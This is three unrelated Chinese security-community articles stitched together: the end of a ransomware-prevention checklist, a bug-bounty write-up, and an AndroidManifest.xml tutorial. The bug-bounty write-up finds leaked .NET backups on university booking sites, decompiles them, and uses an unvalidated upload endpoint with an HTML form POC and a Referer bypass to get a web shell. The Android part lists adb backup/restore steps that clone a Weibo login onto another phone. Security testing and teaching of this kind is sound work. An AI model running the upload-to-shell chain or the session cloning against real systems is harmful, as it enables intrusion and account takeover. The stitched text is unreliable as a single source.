4、需要的软件从正规（官网）途径下载，不要用双击方式打开.js、.vbs、.bat等后缀名的脚本文件
5、升级防病毒软件到最新的防病毒库，阻止已知病毒样本的攻击
6、开启Windows Update自动更新设置，定期对系统进行升级
7、养成良好的备份习惯，对重要的数据文件定期进行非本地备份，及时使用网盘或移动硬盘备份个人重要文件
8、更改账户密码，设置强密码，避免使用统一的密码，因为统一的密码会导致一台被攻破，多台遭殃，黑客会通过相同的弱密码攻击其它主机
9、如果业务上无需使用RDP的，建议关闭RDP，以防被黑客RDP爆破攻击
通过笔者一直跟踪与分析，预测勒索病毒攻击在明年可能会越来越多，而且使用的攻击手法会越来越复杂，攻击也会越来越具有针对性和目的性，不排除未来会有更多的新型黑客组织加入进来，通过勒索病毒迅速获利，各企业要做好相应的防范措施，提高自身员工的安全意识，以防中招 | 社区文章 |
**日常挖EDUSRC的思路,欢迎各位大佬指点或补充~**
目标站点如下:
是一个大型仪器预约平台,先简单通过信息收集得到以下信息
中间件:IIS 开发语言: .NET (MVC)
个人比较偏向于渗透NET开发平台的站点，因为其不区分大小写，在生成字典的时候不需要花费太多时间。
该系统提供两个功能,注册以及登录。由于这套系统比较常见，基本每个知名高校都有这么一个仪器平台。所以注册后的功能点就没必要再去花功夫探测了(有的话也被大佬交完了)。
这里我直切主题:
先FOFA搜索相同站点。
由于是NET平台,可以先搜集以下所有相同系统的站点。然后扫一扫备份之类的。常见的字典如: web.rar 备份.rar
等等。.具体看运维的习惯(部分运维喜欢用bak)。
使用某大佬的FOFA提取工具提取下结果
然后使用御剑(由于御剑好像不支持https,所以这里我指定了协议为http。如果大佬们有支持https或者可以批量扫描的工具可惜推荐下(造轮子太麻烦,性能渣))
在某站点下发现疑似备份文件bak.rar, 先下载下来。
解压后发现里面都是一些dll文件。由于是NET平台，源代码都会打包成dll文件。也就是说这些dll文件里面存放着网站的源代码。
那么直接逆向编码，开始代码审计~~~~
发现有点多。。。。由于是MVC模式,我们可以直接搜索Controller(控制器)
开始审计~这里先挨个探索(我个人比较喜欢直切主题： 未授权的文件上传-日志写入(部分系统是由请求头决定文件名-反序列化-SQL注入))
未授权的文件上传，这个比较好找。。有没有进行文件效验一看就知道。部分程序员都是把操作写成了一个方法，统一调用。
如：
在UserController下面的IniUserPhotoUpload 方法就是一处文件上传的操作
这里表面看着并没有什么文件属性效验的操作。但是最终写入是由MakeThumbnail操作的。
在MakeThumbnail下面
第151行，可以看到将参数传递给了MakeThumbnailByImg 方法。追踪此方法
在186行可以明显的看出这里进行了文件效验，且规定了后辍为jpg,jpeg,bmp,gif,png,ico 才可以成功上传
那么这里无果，继续探索下一个。
最终在Lab下面发现一处疑似上传LOGO的操作。
UploadLabOrg
写入操作最终是由SaveLabOrganization进行写入操作。
追踪此方法。
主要操作在这里
if (base.Request.Files.Count > 0)
{
fileSizeStr = FileUtility.GetFileSizeStr((double)base.Request.Files[0].ContentLength);
string fileNameWithExtensionByPath = FileUtility.GetFileNameWithExtensionByPath(base.Request.Files[0].FileName);
fileExt = FileUtility.GetFileExtByPath(base.Request.Files[0].FileName);
if (!this.ValidateLabOrganizationLogoUpload(System.Web.HttpContext.Current.Request, fileExt, fileSizeStr, out errorMessage))
{
result = false;
}
else
{
this.IniLabOrganizationLogoUpload(System.Web.HttpContext.Current.Request, fileId, fileExt, fileSizeStr, out saveImgPath, out errorMessage);
result = true;
}
}
else
{
result = false;
}
return result;
当上传的文件大于0时，执行if里面的语句
if (!this.ValidateLabOrganizationLogoUpload(System.Web.HttpContext.Current.Request, fileExt, fileSizeStr, out errorMessage))
{
result = false;
}
else
{
this.IniLabOrganizationLogoUpload(System.Web.HttpContext.Current.Request, fileId, fileExt, fileSizeStr, out saveImgPath, out errorMessage);
result = true;
}
其中ValidateLabOrganizationLogoUpload是判断文件内容大小是否超出以及扩展名是否正确的。
其中并没有进行白名单效验~只是进行了一些判空以及移除符号的操作
找到了一处无效验上传点，开始构造POC:
路由地址为:/控制器名/方法名
使用HTML构造提交表单内容:
<form action="地址" method="post" enctype="multipart/form-data" >
<input type="file" name="Filedata"/>
<input type="submit" value="提交"/>
</form>
然后开始上传。
但是他返回了一个出错。。。有点无解，是不是要登陆？？
注册了一个账户，发现仍然出错，再次回到代码层，可能是监听器的问题。找到filter
发现了要验证Referer，在原有POC上添加一个Referer
成功Getshell | 社区文章 |
最近在做一些apk的安全检测，对AndroidManifest.xml文件进行了研究和探讨，介绍AndroidManifest.xml文件的作用和架构，并研究了AndroidManifest.xml配置文件存在的一些漏洞，在进行安全检测时，可以对症下药。
## **0X00 AndroidManifest.xml文件作用**
AndroidManifest.xml文件的作用非常重要，应该说是缺一不可。在android官方介绍文档中（<https://developer.android.com/guide/topics/manifest/manifest-intro.html）是这样定义的。每个应用程序必须在其根目录中具有一个AndroidManifest.xml（名字必须一样）文件。Manifest文件提供有关应用程序到Android系统的基本信息，系统必须具有该信息才能运行任何应用程序的代码。换句话说APP是跑在Android系统上，既然要跑在其上，就必须提供信息给Android>
System，这些信息就存在AndroidManifest中。AndroidManifest.xml 存放在 app/src/main/
目录下。在反编译APK文件后，其文件是以乱码格式存在，需要进行转换才能正常查看。
## **0X01主要功能**
1. 命名应用程序Java包，软件包名称作为应用程序的唯一标识符
2. 描述了应用程序的组件，其中包括构成应用程序的活动，服务，广播接收器和内容提供者；它还命名实现每个组件并发布其功能的类，例如Intent可以处理的消息。这些声明通知Android系统的组件及其可以启动的条件。
3. 决定哪些processes主持application
4. 宣告这个App有哪些权限，它声明应用程序必须拥有的权限才能访问API的受保护部分并与其他应用程序交互。它还声明其他人为了与应用程序的组件交互而需要的权限
5. 它列出了Instrumentation在应用程序运行时提供概要分析和其他信息的类。这些声明仅在应用程序正在开发中才会存在，并在应用程序发布之前被删除。
6. 它声明了应用程序需要的最低级别的Android API。
7. 它列出了应用程序必须链接的库。
## 0X02 Manifest架构
允许的元素，蓝字是预设常见的元素，其中的<manifest>与<application>是必要且只能出现一次。每个元素有各自的属性，属性数量不一定，每个属性有其默认值，可视需求进行设定。</application></manifest>
1.预设的AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.bmi" 名称空间
android:versionCode="1" 开发者使用流水版号
android:versionName="1.0" > 供使用者看的版本号
<uses-sdk
android:minSdkVersion="8" 最低兼容SDK版本
android:targetSdkVersion="21" /> 目标版本，若没设定预设为最低minSdkVersion
<application
android:allowBackup="true" 是否允许备份
android:icon="@drawable/ic_launcher" App Icon
android:label="@string/app_name" App名称
android:theme="@style/AppTheme" > App风格
<activity activity, service, receiver, provider是组成application的4个主要项目
android:name=".MainActivity" activity名称，可和manifest package串在一起
android:label="@string/app_name" > APP开启后，显示在画面上方的名称
<intent-filter> activity操作方式
<action android:name="android.intent.action.MAIN" /> .MAIN表示activity是APP进入点
<category android:name="android.intent.category.LAUNCHER" /> 显示在应用程序行表
</intent-filter>
</activity>
</application>
</manifest>
2.标准的AndroidManifest.xml文件样例。
<?xml version="1.0" encoding="utf-8"?>
<manifest>
<!-- 基本配置 -->
<uses-permission />
<permission />
<permission-tree />
<permission-group />
<instrumentation />
<uses-sdk />
<uses-configuration />
<uses-feature />
<supports-screens />
<compatible-screens />
<supports-gl-texture />
<!-- 应用配置 -->
<application>
<!-- Activity 配置 -->
<activity>
<intent-filter>
<action />
<category />
<data />
</intent-filter>
<meta-data />
</activity>
<activity-alias>
<intent-filter> . . . </intent-filter>
<meta-data />
</activity-alias>
<!-- Service 配置 -->
<service>
<intent-filter> . . . </intent-filter>
<meta-data/>
</service>
<!-- Receiver 配置 -->
<receiver>
<intent-filter> . . . </intent-filter>
<meta-data />
</receiver>
<!-- Provider 配置 -->
<provider>
<grant-uri-permission />
<meta-data />
</provider>
<!-- 所需类库配置 -->
<uses-library />
</application>
</manifest>
## **0x03 文件约定及语法**
从上面的代码中，我们可以看出Android配置文件采用XML作为描述语言，每个XML标签都不同的含义，大部分的配置参数都放在标签的属性中，下面我们便按照以上配置文件样例中的先后顺序来学习Android配置文件中主要元素与标签的用法。
1.元素（Elements）
在所有的元素中只有<manifest>和<application>是必需的，它们各自必须存在，且只能出现一次。如果一个元素包含有其他子元素，必须通过子元素的属性来设置其值。处于同一层次的元素，这些元素的说明是没有顺序的。例如<activity>，<provider>和<service>元素可以以任何顺序混合。这个规则有两个关键的例外：</service></provider></activity></application></manifest>
1、一个<activity-alias> 元素必须遵循 <activity>它是一个别名。</activity></activity-alias>
2、<application> 元素必须是里面的最后一个元素 <manifest>
的元素。换句话说</manifest></application>结束标签必须在</manifest>结束标签之前立即出现。
2.属性
正常来讲，所有的属性都是可选的，但是有些属性是必须设置的。以便元素可以实现其目的，除了根元素<manifest>的属性之外，所有其他元素属性的名字都是以android:前缀的；</manifest>
定义类名：所有的元素名都对应其在SDK中的类名，如果你自己定义类名，必须包含类的数据包名，如果类与application处于同一数据包中，可以直接简写为“.”；
3.声明类名
许多元素对应于Java对象，包括应用程序本身（<application>元素）的元素及其主要组件：活动（<activity>），服务<service>），广播接收器（<receiver>）和内容提供者（<provider>））。</provider></receiver></service></activity></application>
如果你定义一个子类，如同你总是会为组件类（Activity，Service，
BroadcastReceiver和ContentProvider）子类是通过name属性来声明，该名称必须包括完整的包装名称。例如，一个Service子类可能被声明如下：
<manifest . . . >
<application . . . >
<service android:name="com.example.project.SecretService" . . . >
. . .
</service>
. . .
</application>
</manifest>
4.多个值
如果某个元素有超过一个数值，这个元素必须通过重复的方式来说明其某个属性具有多个数值项，且不能将多个数值项一次性说明在一个属性中；例如一个intent-filter 可以保护多个action：
<intent-filter . . . >
<action android:name="android.intent.action.EDIT" />
<action android:name="android.intent.action.INSERT" />
<action android:name="android.intent.action.DELETE" />
. . .
</intent-filter>
5.资源值
某些属性具有可显示给用户的值，例如一个活动的标签和图标。这些属性的值应该从资源或主题进行本地化和设置。资源值以下列格式表示：
@[package:]type/name
如果资源与应用程序在同一个软件包中，则可以省略软件包名称。该类型是一种资源，例如字符串或可画的对象，名称是特定资源的标识名称。例如：
<activity android:icon="@drawable/smallPic" . . . >
主题的值使用类似地表达，但以初始值“? ”代替“@”：
?[package:]type/name
注意：资源或主题包的值必须是“android”或应用程序包的名称。
6.字符串值
在属性值为字符串的地方，必须使用双反斜杠（\）来转义字符，例如\n换行符或\uxxxx 表示Unicode字符。
7.意图过滤器
应用程序的核心组件，如活动，服务和广播接收器由意图（Intent）激活。意图是Intent描述所需动作的一组信息（对象），包括要执行的数据，应该执行该操作的组件的类别以及其他相关指令。Android系统找到一个可以响应意图的适当组件，如果需要，则启动组件的新实例，并将其传递给
Intent对象。
组件通过意图过滤器通知他们可以响应的意图类型。由于Android系统必须了解组件在启动组件之前可以处理的意图，因此在清单中将intent过滤器指定为
<intent-filter>
元素。组件可以具有任意数量的过滤器，每个过滤器描述不同的功能。显式命名目标组件的意图激活该组件，因此过滤器不起作用。没有通过名称指定目标的意图可以仅在组件可以通过组件的过滤器之一时激活组件。</intent-filter>
8.图标和标签
许多元素都有图标和标签属性，可以向用户显示一个小图标和文本。一些还有一个更长的描述属性，也可以在屏幕上显示。例如，该 <permission>
元素具有所有这三个属性，以便当询问用户是否授予已请求它的应用程序的权限时，一个图标代表权限，许可的名称以及它所需要的描述都会呈现给用户。</permission>
在每种情况下，在包含元素中设置的图标和标签将成为所有容器的子元素的默认值 icon和label设置。因此，
<application>元素中设置的图标和标签是每个应用程序组件的默认图标和标签。类似地，为组件（如<activity>
元素）设置的图标和标签是每个组件<intent-filter> 元素的默认设置 。如果一个 <application>
元素设置了一个标签，但是一个活动和它的意图过滤器没有，应用程序标签将被视为活动和意图过滤器的标签。</application></intent-filter></activity></application>
为意图过滤器设置的图标和标签表示当组件呈现给用户并满足由过滤器发布的功能时的组件。例如，带有android.intent.action.MAIN和
android.intent.category.LAUNCHER设置的过滤器将活动通告为启动应用程序的活动。也就是说，应该在应用程序启动器中显示。在过滤器中设置的图标和标签显示在启动器中。
9.权限
权限是限制的代码的一部分，或者在设备上的数据的访问的限制。限制是为了保护可能被误用以扭曲或损坏用户体验的关键数据和代码。
每个权限都由唯一标签标识。标签通常表示限制的动作。以下是Android定义的一些权限：
android.permission.CALL_EMERGENCY_NUMBERS
android.permission.READ_OWNER_DATA
android.permission.SET_WALLPAPER
android.permission.DEVICE_POWER
功能只能通过一个权限来保护。如果应用程序需要访问受权限保护的功能，则它必须声明它需要使用<uses-permission> 清单中的元素的权限
。当应用程序安装在设备上时，安装程序将通过检查签署应用程序证书的机构以及在某些情况下询问用户来确定是否授予所请求的权限。如果许可被授予，应用程序就可以使用受保护的功能。如果没有，则尝试访问这些功能失败，而不通知用户。</uses-permission>
应用程序也可以通过权限保护自己的组件。它可以使用由Android定义的任何权限，如android.Manifest.permission由其他应用程序列出
或声明的。它也可以自己定义。<permission> 元素声明了新的权限 。例如，活动可以如下保护：</permission>
<manifest . . . >
<permission android:name="com.example.project.DEBIT_ACCT" . . . />
<uses-permission android:name="com.example.project.DEBIT_ACCT" />
. . .
<application . . .>
<activity android:name="com.example.project.FreneticActivity"
android:permission="com.example.project.DEBIT_ACCT"
. . . >
. . .
</activity>
</application>
</manifest>
请注意，在这个例子中，DEBIT_ACCT权限不仅仅是使用<permission> 元素来声明的 ，所以它也使用了 <uses-permission>
元素。为了启动受保护的活动，您必须要求使用该应用程序的其他组件，即使应用程序本身也施加了保护。</uses-permission></permission>
## **0x04权限属性值意义**
ACCESS_CHECKIN_PROPERTIES：允许对checkin数据库中的表“properties”进行读/写访问，以更改上传的值。
ACCESS_COARSE_LOCATION：允许应用访问大概位置。
ACCESS_FINE_LOCATION：允许应用访问精确位置。
ACCESS_LOCATION_EXTRA_COMMANDS：允许应用程序访问额外的位置提供程序命令。
ACCESS_NETWORK_STATE：允许应用程序访问有关网络的信息。
ACCESS_NOTIFICATION_POLICY：希望访问通知政策的应用程序的标记权限。
ACCESS_WIFI_STATE：允许应用程序访问有关Wi-Fi网络的信息。
ACCOUNT_MANAGER：允许应用程序调用AccountAuthenticator。
ADD_VOICEMAIL：允许应用程序将语音邮件添加到系统中。
ANSWER_PHONE_CALLS：允许应用接听来电。
BATTERY_STATS：允许应用程序收集电池统计信息
BIND_ACCESSIBILITY_SERVICE：必须由a要求AccessibilityService，以确保只有系统可以绑定到它。
BIND_APPWIDGET：允许应用程序告诉AppWidget服务哪个应用程序可以访问AppWidget的数据。
BIND_AUTOFILL_SERVICE：必须由a要求AutofillService，以确保只有系统可以绑定到它。
BIND_CARRIER_MESSAGING_SERVICE：这个常量是在API层面弃用23. BIND_CARRIER_SERVICES代替
BIND_CARRIER_SERVICES：允许绑定到运营商应用程序中的服务的系统进程将具有此权限。
BIND_CHOOSER_TARGET_SERVICE：必须由a要求ChooserTargetService，以确保只有系统可以绑定到它。
BIND_CONDITION_PROVIDER_SERVICE：必须由a要求ConditionProviderService，以确保只有系统可以绑定到它。
BIND_DEVICE_ADMIN：必须由设备管理接收器要求，以确保只有系统可以与其进行交互。
BIND_DREAM_SERVICE：必须由a要求DreamService，以确保只有系统可以绑定到它。
BIND_INCALL_SERVICE：必须由a要求InCallService，以确保只有系统可以绑定到它。
BIND_INPUT_METHOD：必须由a要求InputMethodService，以确保只有系统可以绑定到它。
BIND_MIDI_DEVICE_SERVICE：必须由a要求MidiDeviceService，以确保只有系统可以绑定到它。
BIND_NFC_SERVICE：必须要求HostApduService 或OffHostApduService确保只有系统可以绑定到它。
BIND_NOTIFICATION_LISTENER_SERVICE：必须由a要求NotificationListenerService，以确保只有系统可以绑定到它。
BIND_PRINT_SERVICE：必须由a要求PrintService，以确保只有系统可以绑定到它。
BIND_QUICK_SETTINGS_TILE：允许应用程序绑定到第三方快速设置图块。
BIND_REMOTEVIEWS：必须由a要求RemoteViewsService，以确保只有系统可以绑定到它。
BIND_SCREENING_SERVICE：必须由a要求CallScreeningService，以确保只有系统可以绑定到它。
BIND_TELECOM_CONNECTION_SERVICE：必须由a要求ConnectionService，以确保只有系统可以绑定到它。
BIND_TEXT_SERVICE：必须由TextService要求
BIND_TV_INPUT：必须通过a TvInputService 来确保只有系统可以绑定它。
BIND_VISUAL_VOICEMAIL_SERVICE：链接必须要求，VisualVoicemailService以确保只有系统可以绑定到它。
BIND_VOICE_INTERACTION：必须由a要求VoiceInteractionService，以确保只有系统可以绑定到它。
BIND_VPN_SERVICE：必须由a要求VpnService，以确保只有系统可以绑定到它。
BIND_VR_LISTENER_SERVICE：必须由a要求VrListenerService，以确保只有系统可以绑定到它。
BIND_WALLPAPER：必须由a要求WallpaperService，以确保只有系统可以绑定到它。
BLUETOOTH：允许应用程序连接到配对的蓝牙设备。
BLUETOOTH_ADMIN：允许应用程序发现和配对蓝牙设备。
BLUETOOTH_PRIVILEGED：允许应用程序在没有用户交互的情况下配对蓝牙设备，并允许或禁止电话簿访问或消息访问。
BODY_SENSORS：允许应用程序访问用户用来衡量身体内发生的情况的传感器的数据，例如心率。
BROADCAST_PACKAGE_REMOVED：允许应用程序广播应用程序包已被删除的通知。
BROADCAST_SMS：允许应用程序广播短信收据通知。
BROADCAST_STICKY：允许应用程序广播粘性意图。
BROADCAST_WAP_PUSH：允许应用程序广播WAP PUSH收据通知。
CALL_PHONE：允许应用程序发起电话而不通过拨号器用户界面供用户确认通话。
CALL_PRIVILEGED：允许应用程序呼叫任何电话号码，包括紧急号码，而无需通过Dialer用户界面，用户确认呼叫正在被放置。
CAMERA：需要能够访问相机设备。
CAPTURE_AUDIO_OUTPUT：允许应用程序捕获音频输出。
CAPTURE_SECURE_VIDEO_OUTPUT：允许应用程序捕获安全视频输出。
CAPTURE_VIDEO_OUTPUT：允许应用程序捕获视频输出。
CHANGE_COMPONENT_ENABLED_STATE：允许应用程序更改应用程序组件（不是自己的）是否启用。
CHANGE_CONFIGURATION：允许应用程序修改当前配置，如区域设置。
CHANGE_NETWORK_STATE：允许应用程序更改网络连接状态。
CHANGE_WIFI_MULTICAST_STATE：允许应用程序进入Wi-Fi组播模式。
CHANGE_WIFI_STATE：允许应用程序更改Wi-Fi连接状态。
CLEAR_APP_CACHE：允许应用程序清除设备上所有已安装应用程序的缓存。
CONTROL_LOCATION_UPDATES：允许启用/禁用收音机的位置更新通知。
DELETE_CACHE_FILES：允许应用程序删除缓存文件。
DELETE_PACKAGES：允许应用程序删除软件包。
DIAGNOSTIC：允许应用程序RW到诊断资源。
DISABLE_KEYGUARD：允许应用程序禁用键盘保护程序，如果它不安全。
DUMP：允许应用程序从系统服务检索状态转储信息。
EXPAND_STATUS_BAR：允许应用程序展开或折叠状态栏。
FACTORY_TEST：作为制造商测试应用程序运行，以root用户身份运行。
GET_ACCOUNTS：允许访问帐户服务中的帐户列表。
GET_ACCOUNTS_PRIVILEGED：允许访问帐户服务中的帐户列表。
GET_PACKAGE_SIZE：允许应用程序找出任何包使用的空间。
GET_TASKS：这个常数在API级别21中已被弃用。不再强制执行。
GLOBAL_SEARCH：该权限可用于内容提供商，以允许全局搜索系统访问其数据。
INSTALL_LOCATION_PROVIDER：允许应用程序将位置提供程序安装到位置管理器中。
INSTALL_PACKAGES：允许应用程序安装软件包。
INSTALL_SHORTCUT：允许应用程序在Launcher中安装快捷方式。
INSTANT_APP_FOREGROUND_SERVICE：允许即时应用创建前台服务。
INTERNET：允许应用程序打开网络套接字。
KILL_BACKGROUND_PROCESSES：允许应用程序调用 killBackgroundProcesses(String)。
LOCATION_HARDWARE：允许应用程序在硬件中使用位置功能，例如geofencing api。
MANAGE_DOCUMENTS：允许应用程序管理对文档的访问，通常是文档选择器的一部分。
MANAGE_OWN_CALLS：允许通过自我管理的ConnectionServiceAPI 管理自己的呼叫的呼叫应用程序 。
MASTER_CLEAR：不适用于第三方应用程序。
MEDIA_CONTENT_CONTROL：允许应用程序知道正在播放哪些内容并控制其播放。
MODIFY_AUDIO_SETTINGS：允许应用程序修改全局音频设置。
MODIFY_PHONE_STATE：允许修改电话状态 - 开机，mmi等
MOUNT_FORMAT_FILESYSTEMS：允许将文件系统格式化为可移动存储。
MOUNT_UNMOUNT_FILESYSTEMS：允许安装和卸载文件系统以进行可移动存储。
NFC：允许应用程序通过NFC执行I / O操作。
PACKAGE_USAGE_STATS：允许应用程序收集组件使用统计信息，声明权限意味着使用API，设备的用户可以通过“设置”应用程序授予权限。
PERSISTENT_ACTIVITY：此常数在API级别9中已被弃用。此功能将在以后删除; 请不要使用。允许应用程序使其活动持续。
PROCESS_OUTGOING_CALLS：允许应用程序在呼出期间查看正在拨打的电话号码，并选择将呼叫重定向到其他号码或完全中止呼叫。
READ_CALENDAR：允许应用程序读取用户的日历数据。
READ_CALL_LOG：允许应用程序读取用户的通话记录。
READ_CONTACTS：允许应用程序读取用户的联系人数据。
READ_EXTERNAL_STORAGE：允许应用程序从外部存储器读取。
READ_FRAME_BUFFER：允许应用程序进行屏幕截图，更一般地，可以访问帧缓冲区数据。
READ_INPUT_STATE：此常数在API级别16中已被弃用。使用此权限的API已被删除。
READ_LOGS：允许应用程序读取低级别的系统日志文件。
READ_PHONE_NUMBERS：允许读取设备的电话号码。
READ_PHONE_STATE：允许只读访问电话状态，包括设备的电话号码，当前的蜂窝网络信息，任何正在进行的呼叫的状态以及PhoneAccount在设备上注册的任何列表
。
READ_SMS：允许应用程序读取短信。
READ_SYNC_SETTINGS：允许应用程序读取同步设置。
READ_SYNC_STATS：允许应用程序读取同步统计信息。
READ_VOICEMAIL：允许应用程序读取系统中的语音信箱。
REBOOT：需要重新启动设备。
RECEIVE_BOOT_COMPLETED：允许应用程序收到ACTION_BOOT_COMPLETED在系统完成启动后广播的应用程序 。
RECEIVE_MMS：允许应用程序监视传入的彩信。
RECEIVE_SMS：允许应用程序接收短信。
RECEIVE_WAP_PUSH：允许应用程序接收WAP推送消息。
RECORD_AUDIO：允许应用程序录制音频。
REORDER_TASKS：允许应用程序更改任务的Z顺序。
REQUEST_COMPANION_RUN_IN_BACKGROUND：允许随播应用在后台运行。REQUEST_COMPANION_USE_DATA_IN_BACKGROUND：允许随播应用在后台使用数据。
REQUEST_DELETE_PACKAGES：允许应用程序请求删除包。
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS：许可申请必须持有才能使用
ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS。
REQUEST_INSTALL_PACKAGES：允许应用程序请求安装软件包。
RESTART_PACKAGES：此常数在API级别8中已弃用restartPackage(String) 。不再支持API。
SEND_RESPOND_VIA_MESSAGE：允许应用程序（电话）向其他应用程序发送请求，以处理来电期间的响应通过消息动作。
SEND_SMS：允许应用程序发送短信。
SET_ALARM：允许应用程序广播Intent为用户设置闹钟。
SET_ALWAYS_FINISH：允许应用程序控制是否在后台放置活动时立即完成。
SET_ANIMATION_SCALE：修改全局动画缩放因子。
SET_DEBUG_APP：配置应用程序进行调试。
SET_PREFERRED_APPLICATIONS：这个常数在API级别7中已被弃用。不再有用，
addPackageToPreferred(String) 有关详细信息。
SET_PROCESS_LIMIT：允许应用程序设置可以运行的最大数量（不需要的）应用程序进程。
SET_TIME：允许应用程序设置系统时间。
SET_TIME_ZONE：允许应用程序设置系统时区。
SET_WALLPAPER：允许应用设置壁纸。
SET_WALLPAPER_HINTS：允许应用程序设置壁纸提示。SIGNAL_PERSISTENT_PROCESSES：允许应用程序请求将信号发送到所有持久进程。
STATUS_BAR：允许应用程序打开，关闭或禁用状态栏及其图标。
SYSTEM_ALERT_WINDOW：允许应用使用类型创建窗口 TYPE_APPLICATION_OVERLAY，显示在所有其他应用程序的顶部。
TRANSMIT_IR：允许使用设备的红外发射器（如果有的话）。
UNINSTALL_SHORTCUT：不再支持此权限。
UPDATE_DEVICE_STATS：允许应用程序更新设备统计信息。
USE_FINGERPRINT：允许应用使用指纹硬件。
USE_SIP：允许应用程序使用SIP服务。
VIBRATE：允许访问振动器。
WAKE_LOCK：允许使用PowerManager WakeLock来防止处理器进入睡眠状态或屏幕变暗。
WRITE_APN_SETTINGS：允许应用程序写入apn设置。
WRITE_CALENDAR：允许应用程序写入用户的日历数据。
WRITE_CALL_LOG：允许应用程序写入（而不是读取）用户的通话记录数据。
WRITE_CONTACTS：允许应用程序写入用户的联系人数据。
WRITE_EXTERNAL_STORAGE：允许应用程序写入外部存储。
WRITE_GSERVICES：允许应用修改Google服务地图。
WRITE_SECURE_SETTINGS：允许应用程序读取或写入安全系统设置。
WRITE_SETTINGS：允许应用程序读取或写入系统设置。
WRITE_SYNC_SETTINGS：允许应用程序写入同步设置。
WRITE_VOICEMAIL：允许应用程序修改和删除系统中现有的语音信箱。
## **0x05 apk文件获取AndroidManifest.xml文件**
1.解压apk文件
首先需要下载apk文件，使用压缩软件直接解压缩即可，解压成功后会在apk目录中生存一个AndroidManifest.xml文件，如图1所示。使用记事本或者IE等打开该文件后，其内容为乱码，如图2所示。
图1 AndroidManifest.xml文件
图2文件内容为乱码
2.使用androguard进行转码
androguard可以下载最新版本，也可以下载1.9版本。
<https://github.com/androguard/androguard/archive/1.9.zip>
将AndroidManifest.xml文件复制到androguard目录，我使用的是PentestBox-with-Metasploit-v2.2平台。到E:\Tools\测试平台\PentestBox-with-Metasploit-v2.2\bin\androidsecurity\androguard目录下使用命令：
androaxml.py -i AndroidManifest.xml -o new.WoCloud.AndroidManifest.xml
即可解码内容。
## **0x06.apktool反编译apk**
前面通过压缩文件直接解压会导致部分文件未经过编码，因此会出现乱码，经过编译的文件可以很好的进行查看，下面介绍使用apktool进行反编译apk程序，执行效果如下图所示。
1.下载apktool.jar
<https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.2.4.jar>
2.将一下脚本保存为apktool.bat
@echo off
if "%PATH_BASE%" == "" set PATH_BASE=%PATH%
set PATH=%CD%;%PATH_BASE%;
java -jar -Duser.language=en "%~dp0\apktool.jar" %*
3.反编译程序
（1）直接用java进行反编译：java -jar apktool.jar d test.apk
（2）使用bat脚本进行编译：apktool -f d test.apk //覆盖已有的反编译程序及其目录
apktool d test.apk
注意：apktool.bat和apktool_2.2.4.jar在同一个目录，且下载的apktool_2.2.4.jar需要重命名为apktool.jar
## **0x07. AndroidManifest.xml 默认设置漏洞**
1.配置文件中的默认设置allowBackup风险
（1）安全风险描述
Android API Level 8及其以上Android系统提供了为应用程序数据的备份和恢复功能，此功能的开关决定于该应用程序中
AndroidManifest.xml文件中的
allowBackup属性值，其属性值默认是True。当allowBackup标志为true时，用户即可通过adb backup和adb
restore来进行对应用数据的备份和恢复，这可能会带来一定的安全风险。当设置该属性值为true，adb
backup容许任何一个能够打开USB调试开关的人从Android手机中复制应用数据到外设，一旦应用数据被备份之后，所有应用数据都可被读取；同时adb
restore 容许用户指定一个恢复的数据来源（即备份的应用数据）来恢复应用程序数据的创建。因此，当一个应用数据被备份之后，用户即可在其他 Android
手机或模拟器上安装同一个应用，以及通过恢复该备份的应用数据到该设备上，在该设备上打开该应用即可恢复到被备份的应用程序的状态。
对于目前大多数手机来说，一旦存在该漏洞，容易导致个人通讯录、微信、QQ聊天信息、短信等敏感信息泄露；通过将备份程序在模拟手机上恢复后，可以直接进行店家扫描支付（店家扫描支付不需要支付密码）容易造成财产损失。
（2）影响范围
Android API 等级8（Android 2.2 - 2.2.3）以及以上系统，目前绝大部分系统都受影响。下面给出Android
API等级对应按照系统以及名称对应的图标名称：
API等级1： Android 1.0
API等级2： Android 1.1 Petit Four 花式小蛋糕
API等级3： Android 1.5 Cupcake 纸杯蛋糕
API等级4： Android 1.6 Donut 甜甜圈
API等级5： Android 2.0 Éclair 松饼
API等级6： Android 2.0.1 Éclair 松饼
API等级7： Android 2.1 Éclair 松饼
API等级8： Android 2.2 - 2.2.3 Froyo 冻酸奶
API等级9： Android 2.3 - 2.3.2 Gingerbread 姜饼
API等级10：Android 2.3.3-2.3.7 Gingerbread 姜饼
API等级11：Android 3.0 Honeycomb 蜂巢
API等级12：Android 3.1 Honeycomb 蜂巢
API等级13：Android 3.2 Honeycomb 蜂巢
API等级14：Android 4.0 - 4.0.2 Ice Cream Sandwich 冰激凌三明治
API等级15：Android 4.0.3 - 4.0.4 Ice Cream Sandwich 冰激凌三明治
API等级16：Android 4.1 Jelly Bean 糖豆
API等级17：Android 4.2 Jelly Bean 糖豆
API等级18：Android 4.3 Jelly Bean 糖豆
API等级19：Android 4.4 KitKat 奇巧巧克力棒
API等级20 : Android 4.4W KitKat with wearable extensions 奇巧巧克力棒
API等级21：Android 5.0-5.0.2 Lollipop 棒棒糖
（3）测试流程（以sina.weibo为例）
测试环境：Windows 7，ADB 调试工具；物理接触目标手机1，连接手机1到 PC 端
手机1和手机2均未被 ROOT，开启 USB 调试；不用安装其它应用，不启动被测试的应用。连接安装开启USB调试手机1
到PC端，在PC自动（也可以提前）安装好手机驱动后，启动命令行界面输入以下命令：
l adb devices
#显示已连接的设备列表，测试手机是否正常连接
l adb backup -nosystem -noshared -apk -f com.sina.weibo.abcom.sina.weibo
#-nosystem表示不备份系统应用，-noshared表示不备份应用存储在SD中的数据，-apk表示备份应用APK安装包，
-f表示备份的.ab文件路径和文件名，最后是要备份应用的packageName
l 点击手机1确认备份界面的“备份我的数据”
l 等待备份完成，至此微博客户端数据成功备份为 com.sina.weibo.ab 文件
l 断开手机1的连接
l 连接手机2 ，在命令行界面下输入以下命令：
l adb kill-server #关闭ADB
l adb devices #重新启动ADB，检测手机2是否成功连接
l adb restore com.sina.weibo.ab
l 点击手机2确认恢复界面的“恢复我的数据”
l 等待恢复完成
l 打开手机2中新安装的微博客户端，测试可正常登录手机1中帐号执行各种操作，且长期有效。
（4）安全防护
显示设置android:allowBackup=false，使用android:restoreAnyVersion的默认值。
（5）检测漏洞
